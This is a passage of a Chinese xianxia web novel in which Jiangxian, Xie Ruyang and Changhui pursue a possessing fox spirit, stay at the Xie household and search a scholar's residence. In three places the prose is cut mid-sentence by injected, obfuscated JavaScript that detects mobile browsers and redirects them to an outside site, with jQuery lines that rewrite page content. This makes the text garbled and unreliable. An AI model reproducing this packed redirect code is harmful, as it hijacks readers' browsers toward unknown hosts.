要怎么样才能把玉桂枝拿出来呢?这样不得其法地跟着谢如恙瞎逛也不是个办法,可不跟着他又怕被别人给抢先了,究竟要怎么办才好呢? 她一只手撑着下巴,一只手又拿了一颗糖油果子塞进嘴里,双颊被撑得鼓起,像是一只呆愣愣的金鱼。 忽然,她脑内灵光一闪:或许那位神秘的雇主会有办法解决? 很快,她便从怀中拿出了一张干净的黄纸,割破指尖在纸上写写画画好半晌后拿着它走到窗边。 打开窗户,将符纸燃尽,一道亮着红光的萤火乘风穿过窗户,然后渐渐飘向天际,消失在茫茫夜色之中。 绛仙盯着萤火消失的方向看了许久,希望那位雇主能收到她的传信。 口中糖油果子的甜味还未散去,绛仙看着空荡荡的街道发呆。 谢如恙非要去查沉尸也不怕把自己给赔进去。 那长徽又呆里呆气,也不知道能不能行。 她猛得一拍手掌,想到要是谢如恙出事了,她的玉桂枝拿不回来怎么办? 念此,绛仙认命般叹了口气,轻盈跃下窗沿,打算去找谢如恙和长徽两人看看情况,若是遇到什么危险也能及时应对。 此时此刻,城门外。 谢如恙面对鬼影重重的树林,忍不住吞了吞口水:“长徽兄,这里真的有妖气吗?” 长徽面色凝重,“有。” “在哪边?你能感受到吗?”谢如恙又问。 长徽往左前方一指,道:“那边。” “那你怎么不动啊?”谢如恙死死抱住长徽,身体还在微微颤抖。 长徽低头,看着被吓倒在地的谢如恙,斟酌片刻后道:“谢公子能否先起来?你抱着我的腿,我动不了。” 谢如恙尴尬一笑,刚刚松开几分又感受到背后传来一阵凉意,好像有什么冰冰凉凉、软趴趴的东西正趴在他的后脖颈上。 他霎时汗毛竖立,手抱得更紧了,甚至连说话都结巴起来:“长、长徽兄,救……救命啊!有妖怪,有妖怪……” 长徽闻言转头,只见谢如恙脖颈上正爬着一条小蛇。他伸手干脆利落地将蛇扔到一边,道:“是条蛇,现在没有了。” 察觉到脖颈上的束缚消失,谢如恙这才扶着长徽缓缓站起身,腿刚刚伸直,他正准备活动活动发麻的胳膊,林中突然又响起一道短促且撕心裂肺的叫声,差点吓得他坐回地上去。 长徽拧眉,将谢如恙扶正后道:“走。” 话音刚落,长徽就向前冲去,谢如恙被甩在身后,连忙喊道:“别走啊长徽兄,等等我,我怕!” 循着声音,两人前后脚停在一个凉亭前。 亭内,一位女子衣衫半解,露出雪白的双肩和一截藕臂,只是她背对着两人,他们看不清这名女子的脸。 谢如恙捂住双眼,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850690|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非礼勿视非礼勿视。” 长徽握紧了手中的琼英剑,死死盯着那女子的背影。 女子似乎感受到了来人的视线,缓缓地侧过身来,看向那道视线的主人。随着她的动作露出来的,还有躺在她腿上的男人,脸上泛着不正常的红晕,双眼迷离,双唇微张,呼吸也格外的急促。 谢如恙从指缝里看到了这一幕,美人娇面,如葱如玉的手指搭上红唇,做出一个噤声的手势,鼻翼间时刻萦绕着令人难以抗拒的异香。 一瞬间,他感觉自己整个人都要飘起来了,一心只想着往女子的方向走,什么妖邪沉身通通都忘得一干二净。 长徽见势不对,拔出琼英剑拦在谢如恙身前,“她是妖,莫要被她迷惑。” 谢如恙半个字都听不进去,也看不到横在胸前的剑,只是面露微笑,一个劲地往剑上撞。 长徽定下心神,掐了个诀后将手挡在谢如恙眼前。等长徽的手移开,谢如恙便发现面前的场景产生了极大的变化。 凉亭消失了,异香变成了混合着血腥味道的臭味,以及方才还笑意盈盈的女子此刻竟变成了长满长毛的狐狸头! 他大叫一声,脚下一个踉跄倒在了地上。 长徽见他脱离幻象,提剑上前,将那狐妖逼退到几里之外。 谢如恙回过神来后趁着这个机会爬起来,赶忙前去查看那个男人的情况。可那男人早已没了气息,映入他眼帘的也不过是一架干枯的骷髅,与护城河中捞出来的尸体一模一样。 看周围散落的柴火,谢如恙猜想这男人本是山中的樵夫,却意外被狐妖蛊惑,丢掉了性命。万般可惜之下,他只能帮这位可怜的樵夫合上双眼。 另一边,长徽和狐妖的缠斗还未分出胜负,但很明显狐妖早已落了下风。 就在这时,狐妖眼珠一转,躲开长徽的一击后直直向着坐在地上的谢如恙袭来。 谢如恙怀里抱着樵夫的尸体连起身都困难,更别说要快速反应后躲开这一击。 等长徽回头时,狐妖已经到了谢如恙的几寸之外。 “当心!”长徽喊道。 尖锐如刀锋的指甲停在谢如恙眼前,他已经被吓得呆住了,只能眼睁睁地看着狐妖离自己越来越近。 糟了…… 长徽心中暗道不妙,可下一瞬就见一道红色身影从天而降,挡在谢如恙和狐妖之间。 尖锐刺耳的狐狸叫声和几乎照彻天际的红光同时迸发喷涌,长徽和谢如恙都下意识地捂住了眼睛。 红光消失后,绛仙诧异的看向手中的剑,她也不明白为什么会突然爆发出这么强大的力量,她分明只是想帮谢如恙挡一击的。 还没等她想明白就听长徽喊道:“她逃了!” 绛仙立刻回神,确定狐妖离开的方向后,对长徽道:“把谢如恙带上。”随后,飞身而起,追着狐妖往城门方向奔去。 这狐妖一路逃窜到城内,几乎在城内东南西北几个方位都走了一遍。 绛仙跟在她身后,一开始还不知道它想做什么,但很快就意识到它是在迷惑自己,它的藏身之处就在城内的某个地方! 长徽来得勉强算是及时,绛仙与他对视一眼后明白了对方的意思。 一前一后,包抄,让它无处可逃! 可就在这时,一声啼叫打乱了两人的计划。 长徽抬头,看着东方渐渐涌上的橙黄,惊道:“不好!” “什么?”绛仙还没有反应过来,那狐妖就开始一点一点变得透明,直到最后彻底消失在她眼前,再也看不到她的身影。 “这是怎么回事?”绛仙还从未遇到过这样的情况,看向长徽想要寻求一个答案。 长徽跃下屋檐来到绛仙身边,谢如恙也在这个时候赶到。 三人并排而立,长徽解释道:“一开始我也有些奇怪,为什么城中发生了怪事我却感受不到一丝妖气,方才与它交手的时候我才明白是因为什么。” “少卖关子。”绛仙催促道。 长徽神色严肃:“因为它是妖又非妖,它只是妖的灵体,没有妖的身形。灵体可以附身在人的身上,用人的身体活动。只要得到了身体主人的允许,附身期间是很难被发现的。” “所以,那狐妖是附身在人的身上藏在城中的?怪不得那些捉妖人找不到它呢!”谢如恙了然,随后又奇怪道,“那为何天一亮它就消失了?” 长徽面露难色,“抱歉,这个我也不知道。” “这么说,这城中有人在用自己的身体养一只妖孽咯?”绛仙挑挑眉,“灵体附身,啖其血肉,谁会干这种损人不利己的事情呢?” 长徽也不得而知,转而提议:“妖气既然是在这里消失的,那我们就近查探一番,或许会有线索。” “行吧,那我们找一找。”绛仙随意应了一句,转头看到托着下巴思考的谢如恙,伸手在他眼前晃了晃,问道,“干什么呢?” 谢如恙犯起嘀咕:“我怎么觉得这里有些眼熟?” “眼熟?”长徽问。 “不会又是你哪个朋友的家吧?”绛仙猜测。 谢如恙仔细看了一圈后得出结论:“还真是!只不过这是人家的后门。” 长徽又道:“既然谢公子认识,那我们就直接敲开门问一问吧。” 说罢,他转身朝着那两扇漆黑的门走去。 敲开门,门后的是一个睡眼惺忪的小厮,许是他也没想到会有人敲后门,权当是前来要饭的乞丐,赶鸟似的道:“去去去,没饭给你吃。” 长徽道:“你误会了,我们有要事相告。” 小厮看清楚面前这人不是乞丐后,稍稍认真了些,问:“要事?什么要事?” 长徽沉下眸子,道:“你家中或许有妖。” 小厮沉默了一会,怒骂道:“你家才有妖呢,你全家都是妖!真是晦气死了,大早上遇到个莫名其妙的神棍,我呸!” 小厮怒骂着把门关上,只留站在门外一脸懵然的长徽。 不远处,绛仙抱臂转身,谢如恙低头扶额,没有一个人说话。 此时,已然天光大亮。 8. 对峙 天大亮,想要循着妖气找到那只狐妖就更麻烦、更难办到了。 三人也只是在周围找了一圈,确认无果后就打算分道扬镳,下次再探。 临离开,谢如恙突然叫住了向着相反方向走去的两人,提议道:“你们既然都打算去找客栈,那不如来我家住,我家客房空着,不收你们的钱。” 长徽只思忖片刻后很快点头应下了。 绛仙则是考虑了好一段时间。昨夜刚向雇主去了消息,还没有任何回信。此时借住在谢如恙家里也不失一个好办法,一来能光明正大地看着他,以免出了什么岔子,玉桂枝拿不回来,二来也方便得到消息后随时做出应对。 以及…… 不知怎的,绛仙竟又想起了那个叫谢如许的人,若是借住在谢如恙家里也能打探打探那人的底细,解开心中的疑惑。 于是,在谢如恙满怀期冀的目光下,绛仙点了点头,道:“好,那走吧。” 回到谢府,谢如恙一路带着两人到了自己的房间。 一进门,绛仙就惊了一下: 谢如恙房间的博古架上没什么古籍经文,有的全是奇闻轶事、风月话本,墙上几乎挂满了名家字画,桌上的玉器、木雕之类的小玩意让人应接不暇。 小小一个房间竟能让来人生出一种“雅俗共赏”的感觉。 绛仙随手拿起一只草编的小蚱蜢打量,谢如恙连忙上前护住,道:“这个可是我小时候邻居家的哥哥送的,后来他搬了家,我就再也没见过他了,也不知道他住在哪儿,这是他留给我唯一的东西,可不能弄坏。” 闻言,长徽默默收回了想要触摸玉瓶的手,怕这也是谢如恙哪个无法相见的朋友赠予他的。 绛仙慢慢把蚱蜢放下,扯了扯嘴角:“你这屋子也太乱了吧?就没人帮你收拾收拾?” 谢如恙随手拿了把折扇扇着,道:“我这叫乱中有序!这些东西看着乱,但每样东西放在哪里我可都记得一清二楚,不信你问问,我立刻就能给你找出来!要是被别人收拾一遍,我可就找不到了。” “我哪知道你有什么东西?” 绛仙生怕自己多问几句谢如恙就要把这屋子里的东西都介绍一遍,转而道:“那只狐妖的事情我们还管不管了?” 谢如恙一拍手掌,道:“管,当然管!” 他将两人拉到圆桌旁,自信道:“既然只有晚上才能感受到妖气,那我们今日黄昏时就去刚刚那地方守着,看看到了晚上那妖气从哪里飘出来,怎么样?” 绛仙支着下巴,“我随意。” 长徽认真道:“好办法。” “好!”谢如恙踌躇满志地应了一声后场面陷入了近乎诡异的沉默。 他挠挠头,一时有些后悔自己把话说得太满,以至于现在都没话可说了。 “对了。”谢如恙一拍脑袋,“我好像记得,那天晚上在大觉寺后山有个什么东西被我吃进肚子了?你们还记得吗?” 说到这个,其余两人的脸色都齐齐一变。 “你是说蟾宫桂?”长徽又确认一遍,“你把蟾宫桂吞下去了?” 谢如恙懵然:“是啊。”见长徽的脸色顿时变得凝重,他心里也打起鼓来,担忧道,“吞下去会怎么样?会死吗?” 长徽摇头,“这个倒是不会,但是……你们是从哪里找到的蟾宫桂?” 谢如恙看向绛仙,长徽也跟着转头。突然被两个人注视,绛仙颇为不自在地放下了手,道:“那座塔里。” “你为何要找蟾宫桂?你可知那是一件宝物?” “当然是有人要买了,至于是宝物还是废物,能赚钱就行,我不关心。” 长徽看了她半晌,斟酌着问:“那,你可知是谁要买?” “我凭什么告诉你们?”绛仙往后一靠,看向长徽的眼神中带上了审视,“你说,那东西叫蟾宫桂?你很了解?” “嗯。”长徽点头,“蓬莱果、蟾宫桂、昆仑玉、玄武鳞、帝王心,各占东南西北中五处,相互依存,相互吸引,只要一方出现其余四方便会接连出现,若是五者齐聚威力极大,不是大盛就是大祸。” 谢如恙顿觉不妙,摇着扇子的手都开始发抖:“那我岂不是成了众矢之的?你们可得保护我啊……” 长徽投以安慰的眼神,道:“谢公子放心,我们一定会护你周全的。” “不是我们,是你。我可没说我会帮忙,我只想拿回玉桂枝,其余什么乱七八糟的事情与我无关。”绛仙淡淡道。 “绛仙姑娘,若是当真到了大祸临头的那日,你我都无法幸免。” 绛仙却道:“不能幸免就不能幸免呗,大不了一死,谁爱当英雄谁去当,反正我不当。” “绛仙姑娘……” 长徽还想劝几句,却被谢如恙打断:“那我能不能多吃点东西,然后把这个东西给拉……” “不可以!” “万万不可!” 刚刚还因为“大祸”僵持的两人在此刻想法异常的统一。 谢如恙被迫闭了嘴,心中凄惨。 不能拉出来,难道还要刨开他的肚子吗?可他不敢说,他怕绛仙真的想这么做。 “这么说那晚你也是冲着这个蟾宫桂来的?”谢如恙问。 “这倒不是。”长徽解释道,“我是跟着绛仙姑娘来的,她身上有一种很熟悉的感觉,这种感觉我只在兄长身上感受到过,所以我才猜测她是否见到过我兄长,结果……” 长徽那张波澜不惊的脸上浮现出一丝失落。见此,谢如恙安慰地拍拍他的肩膀,问道:“那你兄长样貌如何?常穿什么样的衣服?叫什么名字?多说一些,找到的可能也就更大一些。” “他的样子应该和我差不多,穿什么样的衣服……” 长徽抬起头,一双桃花似的眸子中带上了些许茫然,此刻他才发现一个致命的问题:他好像不记得了…… 兄长的模样,衣裳的颜色,还有名字……统统都不记得了。 八百年似乎太久了,久到他忘记了有关兄长的所有,这些年来竟然只是靠着一个念头支撑他继续找下去。 他痛苦地捂住脸,声音颤抖:“对不起,时间太久了,我真的记不清了……” 绛仙一挑眉,“不记得怎么找?总不能去街上叫几声,应你的就是你兄长了?” 话音刚落,绛仙便感到一只手搭在了自己肩膀上,眼神瞬间变得狠厉,下意识地握住来人的腕子用力捏紧,想要将他的骨头捏断。 一回头,却对上一张带着笑意的脸。 “哥!”谢如恙惊喜地站起身,“你怎么来啦?” 长徽也跟着抬眼,看向面前这位面色如雪的公子。 谢如许轻笑:“我听下人们说你带了朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850691|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,就想着给你送些吃食招待客人。不过你也是,昨日说得好好的很快就回来,最后却一夜未归,我可是担心坏了。” 面对毫无怒意的质问,谢如恙也只是笑着解释昨夜发生的事情。 说到昨夜遇见狐妖摄魂又险些遇难时,谢如许俊眉蹙起,面露担忧,直到谢如恙说起绛仙在危急时刻相救后,脸色才缓和了一些。 谢如许眉间舒展开来,垂眸看向绛仙:“绛仙姑娘多次相救,谢某不甚感激,如今绛仙姑娘于府中借住,谢某定以礼相待,只要姑娘需要,谢府必定会满足。” 绛仙死死盯着他很久,没有错过他脸上的任何一个表情,目光灼灼好像要把他盯穿,可即使是这样也没有看出什么异样。 她敢确定面前的这个人一定有问题,暂且不说初见时的眼神,就是刚刚她握住他手腕的力度就足以让一个普通男人撕心裂肺地叫上一声了,可是他脸上却看不到半分感到疼痛的表情。 “随手而已,不必多谢。”说着,绛仙将手又收紧了几分,谢如许脸上依旧轻松,甚至还对着长徽笑道:“也要多谢长徽公子相助,谢府必会助您寻回亲人。” 长徽颔首,道:“多谢。” “既然这样,那我们就先去休息一会儿吧,攒些力气晚上再去探查。”谢如恙收起扇子,长徽也跟着点头。 谢如许笑着看向弟弟,“西侧厢房我已命人打理好,就劳烦阿恙带着长徽公子过去了。” 谢如恙欣然同意,和长徽前后脚出了门,屋内便只余下谢如许和绛仙两人。 “那便由我来带绛仙姑娘去厢房吧。”谢如许笑道。 绛仙歪了歪头,一副任你八方来风,我自岿然不动的架势,反问道:“你不疼?” “不疼,绛仙姑娘握了这么久,累了吧?可要缓一缓?” 绛仙懒得和他打哑谜,开门见山道:“现在没有别人,你究竟是什么人?” “绛仙姑娘忘了?在下是汴京谢家长子,谢如许。”谢如许依旧笑得如沐春风。 绛仙不想和他耗下去,下一刻玉剑便从袖中飞出,直直冲着谢如许刺去。 她倒要看看这究竟是个什么东西,能不能接她这一剑。 谢如许的反应很快,动作也没有半点病弱公子的样子,转身间就出了房门。 他站在院中,发间的素银簪在日头的照耀下微微闪着光,他道:“屋内都是阿恙心爱的东西,若是损坏了什么,他可是要闹了。” 绛仙提剑追出,谢如许唇边的笑意又加深几分:“好在我提前将阿恙院子里的仆从支开,否则绛仙姑娘就要为如何向阿恙解释头疼了。” “你还是想想你该怎么和他解释自己的身份吧!” 一阵急风掠过,谢如许负手站在院中,竟是和院中那棵流苏树有些许相似。 剑尖停在他眼前三寸,绛仙拧眉问:“你怎么不躲?” “好剑,不知给它取了什么样的名字?”谢如许指尖轻轻抚上玉剑,绛仙的手不自觉地颤了一下,好像指尖触碰的不是剑而是她的脊背一样。 “脏手拿开!”说着,绛仙猛得往下一劈。 “呲”的一声,苏绣绣成的下摆就被划开了一个口子。 谢如许低头看了一眼,眼中可惜又无奈,就是没有半点怒气: “绛仙姑娘啊,这衣裳布料可是很珍贵的。” 9. 怀疑 绛仙眯起眼,再次将剑对准对方的咽喉,质问道:“你究竟是什么人?说!” 谢如许慢条斯理地顺好衣裳,垂眸看了玉剑一眼,随后带着笑意缓缓向她走近。 冰凉的剑尖抵上喉头,他竟也没有半点退意,反倒是绛仙被他这一动作给惊到了,不由后退了几步。 “你……” 谢如许柔声问:“既然不愿相信,何不出手一探究竟呢?” 绛仙还真没见过向他这样上赶着找死的,百般思索下深吸一口气,随后放下了手。 见她将玉剑收起,谢如许又问:“为何不刺?” 绛仙抱起手臂,轻飘飘地道:“我可不想因为你被那张狗皮膏药缠上。” “狗皮膏药”说的自然就是谢如恙了,她前来就单单是为了玉桂枝,拿到玉桂枝她就走,什么乱七八糟的事情就都和她没关系了,何必要多添一条人命?再说,她本就不是爱追根究底的性子,面前这人的身份是正是邪是敌是友与她又有什么干系?就算要害人也害不到她头上,自然没有多管闲事的必要。 听到绛仙对自己弟弟的称呼,谢如许脸上的表情变了变,解释道:“阿恙虽然有些吵闹,但心地善良,你们会成为很好的朋友的。” “少说些肉麻的话,不是要带我去客房休息吗?带路。”绛仙道。 闻言,谢如许轻轻笑了一声,对着绛仙做出一个请的手势,“这边请。” 好在虽然谢如许对她的态度暧昧,但也算是注意分寸,送她到客房后没有多留,叮嘱了几句后便转身离去。 绛仙见他快要走出院门,正要把房门关上,却见他又忽然转身。 绛仙语气不善:“你又要干什么?” 谢如许轻笑:“下次再见的时候,你可以告诉我你为那把剑取了什么名字吗?” 绛仙没有回答,砰的一声关上门,传到谢如许耳边的只有一缕疾风。 透过缝隙,绛仙看到谢如许垂下头在院门口站了很久后才彻底离开。 “莫名其妙。” 绛仙躺在床上,用被子蒙住头,心想要快些拿回玉桂枝好离开这个鬼地方。 她才来到汴京两日见到的人就一个比一个奇怪,真不敢想要是在这里待得时间久了会不会遇到更奇怪的人,更麻烦的事。 想着,她也就这样睡去,不过她的睡眠很浅,在距离黄昏还有半个时辰的时候就醒过来了。 来到门口不久,她就见长徽也缓步走来,而提出这个想法的谢如恙却迟迟没有现身,直到天边渐渐泛起昏黄的光晕,他才提着衣摆小跑过来。 绛仙颇为无奈地说了他几句,随后三人就朝着那狐妖最后消失的地方走去。 黄昏,不少人都结束一日的劳作踏上了回家的路,正巧三人蹲守的街角旁就是一片住房,来来往往,摩肩接踵。谢如恙这个人一到人多的地方就兴奋,更别说还都是他认识的人了。 所以,每过一小会儿就能听到他的声音,什么王大娘今天又买了什么菜、张大爷的雀儿又长胖了一点、哪位姐姐的胭脂涂得好、谁家小孩又长高了几分之类。 总之,无论男女老少,只要路过,他都能聊上几句,更让绛仙不能理解的是那些被叫住的人竟然也愿意笑呵呵地回应攀谈。 他们没有自己的事情要做吗?! 即使是这样谢如恙还是不过瘾,看着街边摆着小桌子打牌的大爷们,他也要哒哒地跑过去看上片刻,时而拍手彩时而摇头可惜,若是遇到自己没见过的玩法还要新奇的让别人讲讲,随后露出一个恍然大悟的表情。 绛仙坐在一根粗壮的树根上,看着谢如恙像是蝴蝶一样飞来飞去,脑袋都晕了。 她把额头抵在树干上,不愿再看谢如恙。长徽坐在他不远处,看着谢如恙和其他人的笑脸,眼底有些羡慕。 直到天渐渐黑下去,那些大爷们准备收起桌子离开了,谢如恙才又哒哒地走回来。 “我说,你不是来干正事的吗?”绛仙问。 谢如恙揉了揉有些僵硬的脸,道:“是啊,可是与其在这儿干等着不如和朋友聊聊天,有花堪折直须折,有话要讲就要讲啊!” “这里的所有人你都认识?他们都是你的朋友?”绛仙不可置信道。 谢如恙一脸开朗:“不是啊,有些是我刚刚才认识的。” 长徽微微垂下眼,发自内心地赞叹道:“谢公子还真是会交朋友!” “交朋友很简单的,你一句我一句,一次两次不就成了?” 说罢,他揽住长徽的肩膀,道:“长徽兄放心,日后你也会和我一样有很多朋友的!” 似乎是觉得自己冷落了绛仙,他拍拍长徽的背后又伸手去揽绛仙,没想到对方却突然起身,让他揽了个空。 绛仙甩甩衣摆,道:“干正事吧,聊来聊去聊些没用的。” 天彻底暗了下来,谢如恙的表情也终于严肃了些许。 长徽不知从哪里拿出一个精致的木罗盘,口中念念有词,不过片刻那罗盘上的指针就动了起来,迅速地转了几圈后在一个方向停住了。 谢如恙顺着那指针的方向看去,正是一条宽阔的巷子,他兴奋道:“这个方向,快走吧!” 三人跟着罗盘的指引往前走,直到指针指向一座宅子后彻底不再转动。 “卢府?”长徽念出头顶牌匾上的两个字,谢如恙惊讶道:“真的是这儿?” “白天走后门,现在追到前门了。”绛仙打量着面前这座宅子,虽然阔气不比谢府,但也算是这一片宅子中的佼佼者了。 “那就是说你的这位朋友在家中豢养妖物,还放她出去害人?” 谢如恙矢口否认:“不会的!玉田兄淡泊明志、为官清廉,不会做出这般龌龊的事情的!” 绛仙重重在他肩膀上拍了一掌,像是要把他给打醒:“是吗?知人知面不知心,你可知有多少看起来人模狗样的人在背后干些不为人知的恶心勾当?” 谢如恙吃痛的皱眉,揉揉自己的肩膀,还是不愿意相信,“其他人我不知道,但我确定玉田兄绝对不是那样的人!” “多说无益,我们还是进去看看吧。” 说着,长徽收起罗盘就要去敲门,谢如恙连忙拦下,生怕他又像白日那样被人驱赶。 “我与玉田兄熟识,我去就好,你稍候你稍候。” 谢如恙敲开门,这次开门的是一位凶神恶煞、五大三粗的汉子,可在见到谢如恙后竟也是露出了个笑:“谢二公子?您可是又寻到了什么名家字画,来邀我家大人共赏?正巧,我家大人此刻就在家中,我带您进去。” 谢如恙清清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850692|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子,侧身露出自己身后的二人,对那汉子道:“这次是有正事,劳烦大哥向玉田兄通报,我需带我这两位朋友进去。” 汉子看都没看绛仙和长徽一眼,笑眯眯地道:“谢二公子的朋友还通报什么?请进去吧!” 谢如恙对着汉子拱了拱手,招呼身后两人进了卢府。 谢如恙对这宅邸的熟悉程度无异于自家宅子,一路上他还向两人介绍了这宅子的主人,崇文院昭文馆的大学士,卢玉田。 此人从书香门第出生,官途坦荡,一路顺遂,为人也是清正有礼,喜好诗书字画之类的风雅物什,因此和谢如恙也颇有交情。 “谢兄!” 卢玉田许是从下人那里得到了消息,先一步迎了出来,“谢兄前来为何不提前说一声?也好让我准备些东西好招待诸位朋友。” 谢如恙摆摆手,道:“不用,我们这次来是有很重要的事情要问你。” “哦?何事如此要紧?”卢玉田环顾四周,对绛仙和长徽点头示意后道,“既如此,那就请各位借一步说话。” 进了屋子,关上门,谢如恙才道:“玉田兄可知近日闹得纷纷扬扬的沉尸一事?” 卢玉田久居朝堂,自然也是聪明人,见谢如恙这般神神秘秘地带人过来也是很快明白了缘由,敛眉问道:“谢兄深夜前来,莫不是此事与我有关?” 谢如恙点头。 绛仙依旧怀疑卢玉田和狐妖有染,可还没来得及提醒谢如恙就见他对着卢玉田没有半点保留地全盘托出。 听了谢如恙的话,卢玉田顿时眉头紧锁:“你是说那狐妖就藏在我家中?” “正是如此,你家中可有什么异常?”谢如恙问。 卢玉田仔细想了想后摇头:“可我从未发现什么不对劲的地方,谢兄确定没有看错?” 长徽上前道:“罗盘不会有误,那妖物正是在此处。” 卢玉田看向长徽手中的罗盘,问:“那这罗盘能否指向狐妖的具体位置?” “很抱歉,这罗盘只能指出大体方位,而且那狐妖附在活人身上,我也无法一眼看出。”长徽的表情非常愧疚,好像伤人的不是狐妖而是他一样。 “仙长不必道歉,待我将府中所有人叫出,让您一一查看个明白。” 话音刚落,卢玉田行礼告辞,往屋外走去。 绛仙就站在门边不远,和卢玉田擦肩而过的时候嗅到了他身上一丝隐隐约约的妖气。 “他身上有妖气。”绛仙冷冷道。 “若是狐妖藏在他府中,那他沾上妖气也理所应当啊!”谢如恙替好友辩解,绛仙的眉头却皱得更紧,“你就这么信他?若是他骗你呢?” 绛仙不明白,分明对方也在嫌疑人之列,为什么谢如恙就可以毫无保留地把所有事情都告诉他,他就全然不怕对方所作所为都是在骗他吗? 谢如恙对上绛仙的眼睛,极其认真地道:“因为他是我的朋友,我相信他。如果有一天你被别人误会,我也会相信你的。” “用不着,我自己有手有脚,能自己找出证据,再说了,我也不需要向别人证明什么。”说罢,绛仙转身离去,鲜红的衣摆在空中划出一道完美的弧线。 谢如恙和长徽面面相觑,半晌,谢如恙有些复杂地道:“她似乎总是在怀疑别人呢。” 10. 冤屈 虽然卢玉田出生世家,但住在这府上的却只有三口人,他、他的妻子,以及他的一房妾室,除此之外的就只剩些丫鬟小厮书童了。 发妻卢夫人自然是一派大家闺秀的模样,长发挽起,眸中带着点点柔光,挽着卢玉田的手臂站在他身边,一俊逸一秀丽,看起来甚是相配。 妾室则是被丫鬟挽着站在一边,唇红齿白、眉目含情,看年龄应该要比发妻年纪小些。 下人们整齐地站成一排,长徽一个一个检查过去。 绛仙的眼神则在卢玉田和妻妾之间流转,小声问谢如恙:“你不是说卢玉田和他的妻子甚是恩爱吗?那妾室又是怎么回事?” 谢如恙张了张嘴似乎要说些什么,憋了半天,才堪堪憋出一句:“恩爱是恩爱,但其他的……” 想了很久,他才憋出来一句:“玉田兄人不错,除了有些风流。” 绛仙嗤笑一声,也没有再问。 风流?左不过是男人喜新厌旧,年少情深抵不过年轻貌美罢了。 “怎么样?有什么发现吗?”谢如恙见长徽停下赶忙问道。 长徽摇头:“没有什么异常。” “莫非是仙长罗盘出了问题?”卢玉田问。 长徽却毅然否定:“不可能,此罗盘为昆仑神木所制,不可能有错,府上可还有其他人?” “全府上下都在这里了。” 闻言,绛仙道:“全府上下确实都在这里了,可你好像没有查完吧?” 她语气随意,目光却格外的锐利,在卢玉田和他的妻妾身上看了一眼,竟是让他们不由起了一层薄汗。 “这位姑娘说笑了,我和妹妹都是妇道人家,哪儿懂这些?” 卢夫人开口,一旁的小夫人也跟着应和。 卢玉田眸中暗了一瞬,对长徽道:“仙长若是不放心,大可查验一番。” 长徽点头,走近了些许,道:“冒犯。” 可奇怪的是,这两人身上也并没有什么异常,甚至一丝妖气都没有。 这么一番查验下来,这府中唯一带了妖气的竟然只有卢玉田一人,但长徽看得出来,卢玉田绝对没有被狐妖附体,那他身上的妖气又是从哪里来的呢? 带着疑惑,长徽走到绛仙身边,对她摇了摇头。 绛仙则绕过长徽,径直走向卢玉田的妾室。她负手站在小夫人面前,一双清澈的眼睛盯着对方,眼底还带着似有若无的笑意,她问:“你真的没发现什么异常吗?” 小夫人被盯得发毛,手心不由起了一层汗,只能紧紧攥着身边丫鬟的袖子,结巴道:“没有,什么都没有……” “真的?”绛仙又问一遍,可那小夫人还是一样的回答。 绛仙没有再继续问下去,一转身,摊手道:“那就没有吧。” 谢如恙长叹一口气,失望道:“难道今晚还是一无所获?” 长徽则是看着手中的罗盘发愣,思考到底是哪里出了问题。 没有任何线索,三人也不便留在府上。谢如恙和卢玉田寒暄几句后,卢玉田就派人送他们出门的。 出了府门,走了没几步长徽才惊觉:“不对!” 谢如恙也跟着停下脚步,问:“什么不对?” “漏了一个人。”长徽拧眉。 “漏了一个?哪一个?”谢如恙仔细想了想,究竟漏了哪一个。 长徽深吸一口气,不由有些懊恼自己的粗心。 方才他查验卢玉田妻妾是因为他认为卢府中的下人们都被查过了,没有什么问题,所以才将目光对准了府中的三位“主人”,可是现在一想,他真的把府中的下人都查遍了吗? 并没有,还有一个人没有查过! 那个一直跟在小夫人身边的,那位不怎么引人注目的小丫鬟! 她站在小夫人身边,自己竟是把她给忘了。 “我们……” 长徽立刻转过身,却又一次顿住了,他诧异道:“绛仙呢?” 谢如恙此时才发现,自从进入卢府后一直跟在两人身后沉默不语的绛仙,不见了? …… 与此同时,卢府偏房之内。 小夫人坐在妆台前,镜中的那张娇面似乎愁眉不展。 坐了一会儿,她眉眼间也沾染上了几分倦意,正准备褪下珠钗去休息,可却突然在镜中看到一张不属于自己的脸闯入。 珠钗滑落,流苏被搭在桌沿上与桌子碰撞,发出一阵不算刺耳的声响,可就是这样细微的声响,对她来说却犹如挠心的爪子一般折磨着她。 她僵硬地转过身,只见一位红衣少女正翘腿坐在桌子上,窗户不知何时被风吹开,那两条鲜红的发带混着发丝被风吹起。 她愣在原地,心中惊讶于诡谲和俏皮竟然能同时出现在一个人身上。 